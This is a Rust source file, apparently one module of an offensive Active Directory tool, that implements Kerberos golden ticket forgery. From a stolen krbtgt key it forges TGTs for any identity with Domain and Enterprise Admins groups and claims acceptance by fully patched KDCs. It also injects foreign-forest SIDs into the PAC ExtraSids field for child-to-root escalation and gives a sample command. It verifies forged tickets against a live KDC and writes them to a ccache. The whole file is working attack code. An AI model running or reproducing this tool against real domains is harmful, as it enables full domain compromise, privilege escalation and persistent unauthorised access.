1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
//! Golden ticket: forge a TGT for any identity with the krbtgt AES256 key.
//! Sealed + double-signed so fully-patched (KB5020805) KDCs still accept it.
use crate::ui;
use anyhow::{Context, Result};
use clap::Parser;
#[derive(Parser)]
pub(crate) struct GoldenArgs {
/// KDC host or IP.
#[arg(long)]
pub kdc: String,
/// Kerberos realm (e.g. CORP.LOCAL).
#[arg(long)]
pub realm: String,
/// krbtgt key: AES256 (64 hex) by default, or the RC4/NT hash (32 hex) with --rc4.
#[arg(long)]
pub krbtgt_aes256: adhammer_core::SecretString,
/// Forge an RC4-HMAC (etype 23) ticket — interpret the key as the krbtgt NT hash (legacy DCs).
#[arg(long)]
pub rc4: bool,
/// Domain SID (S-1-5-21-a-b-c).
#[arg(long)]
pub domain_sid: String,
/// Identity to impersonate (default Administrator).
#[arg(long, default_value = "Administrator")]
pub user: String,
/// RID of the impersonated account (default 500).
#[arg(long, default_value_t = 500)]
pub rid: u32,
/// Group RIDs to embed (default: Users + Domain/Schema/Enterprise Admins + GPO Creators).
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
pub groups: Vec<u32>,
/// Write the forged TGT to this ccache path.
#[arg(long)]
pub out: Option<String>,
/// Optional live acceptance proof: request a service ticket for this SPN with the forged TGT.
#[arg(long)]
pub verify_spn: Option<String>,
/// **1.4.8-A WS-SID-HISTORY-INJECT.** Foreign-forest / cross-domain SID(s) to inject
/// into the PAC's `ExtraSids` field (KERB_VALIDATION_INFO.SidCount, MS-PAC §2.5).
/// This is the SID-history-injection attack: from a compromised child domain, forge
/// a Golden ticket that carries the ROOT-domain Enterprise Admins SID
/// (`S-1-5-21-<root-forest>-519`) as an ExtraSid. On a trusting forest with SID
/// filtering disabled — or a same-forest child-domain trust where SIDHistory is not
/// filtered by default — the KDC authorizes the forged principal AS the injected
/// group without needing the trusting forest's krbtgt key.
///
/// Repeat `--foreign-sid` or comma-separate for multiple. Format: full
/// `S-1-5-21-...-RID`. Only identifier authority 5 (NT_AUTHORITY) accepted —
/// ExtraSids is a domain/forest-SID-only field.
///
/// Canonical example (child → root Enterprise Admins):
/// `adhammer attack golden --realm CHILD.CORP.LOCAL --krbtgt-aes256 <hex>
/// --domain-sid S-1-5-21-1-2-3 --user Administrator --rid 500
/// --foreign-sid S-1-5-21-10-20-30-519 --out ea.ccache`
#[arg(long, value_delimiter = ',')]
pub foreign_sid: Vec<String>,
}
/// Golden ticket: forge a TGT for an arbitrary identity, sealed + double-signed with the domain's
/// krbtgt AES256 key. Accepted by fully-patched (KB5020805) KDCs because the forged PAC carries a
/// valid KDC signature plus PAC_REQUESTOR/PAC_ATTRIBUTES.
///
/// Wraps `golden_impl` with a per-stage checklist so the run-end card breaks the operation into
/// distinct phases (key parse → SID parse → foreign SID parse → forge → verify → write ccache).
pub(crate) async fn golden(a: GoldenArgs) -> Result<()> {
let mut checklist = ui::StageChecklist::new([
"parse krbtgt key",
"parse domain SID",
"parse foreign SIDs (ExtraSids)",
"forge golden TGT",
"verify with KDC (--verify-spn)",
"write ccache",
]);
let result = golden_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render("Golden stages"),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render("Golden stages (failed)");
}
}
result
}
async fn golden_impl(a: GoldenArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = crate::parse_forge_key(&a.krbtgt_aes256, a.rc4)?;
checklist.record_ok(
"parse krbtgt key",
if a.rc4 {
"RC4-HMAC (NT hash)"
} else {
"AES256-CTS-HMAC-SHA1-96"
},
);
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
checklist.record_ok("parse domain SID", format!("→ {}", a.domain_sid));
// Parse --foreign-sid values into sub-authority chains for the PAC's ExtraSids.
// Only identifier authority 5 (NT_AUTHORITY) is meaningful in KERB_VALIDATION_INFO
// ExtraSids — anything else is nonsense in an AD trust context.
let mut extras: Vec<Vec<u32>> = Vec::with_capacity(a.foreign_sid.len());
for sid_str in &a.foreign_sid {
let sid = adhammer_core::sid::Sid::parse(sid_str).ok_or_else(|| {
anyhow::anyhow!("--foreign-sid {sid_str:?} is not a valid SID (want S-1-5-21-...-RID)")
})?;
if sid.identifier_authority != 5 {
anyhow::bail!(
"--foreign-sid {sid_str} has identifier authority {} != 5; ExtraSids only \
accepts NT_AUTHORITY (S-1-5-...) forest/domain SIDs",
sid.identifier_authority
);
}
extras.push(sid.sub_authorities.clone());
}
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
extra_sids: extras,
};
if !a.foreign_sid.is_empty() {
println!(
"[+] injecting {} foreign SID(s) into PAC ExtraSids:",
a.foreign_sid.len()
);
for s in &a.foreign_sid {
println!(" {s}");
}
checklist.record_ok(
"parse foreign SIDs (ExtraSids)",
format!("{} SID(s) injected", a.foreign_sid.len()),
);
} else {
checklist.record_ok("parse foreign SIDs (ExtraSids)", "none");
}
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
checklist.record_ok(
"forge golden TGT",
format!("{}@{} (rid {})", a.user, a.realm, a.rid),
);
println!(
"[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
a.user, a.realm, a.rid, a.groups
);
if let Some(spn) = &a.verify_spn {
match adhammer_kerberos::roast_spn(&tgt, &a.user, spn, &a.kdc).await {
Ok(_) => {
checklist.record_ok(
"verify with KDC (--verify-spn)",
format!("KDC accepted for {spn}"),
);
println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})");
}
Err(e) => {
checklist.record_ok(
"verify with KDC (--verify-spn)",
format!("KDC rejected for {spn}: {e}"),
);
println!("[-] KDC rejected the golden ticket for {spn}: {e}");
}
}
} else {
checklist.record_ok(
"verify with KDC (--verify-spn)",
"skipped (no --verify-spn)",
);
}
if let Some(out) = &a.out {
let cc = adhammer_kerberos::golden_ccache(&tgt, &a.user)?;
adhammer_core::write_secret_artifact(
std::path::Path::new(out),
adhammer_core::SecretArtifact::Ccache,
&cc,
)?;
checklist.record_ok("write ccache", format!("→ {out} ({} bytes)", cc.len()));
println!(
"[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
cc.len()
);
} else {
checklist.record_ok("write ccache", "skipped (no --out)");
}
Ok(())
}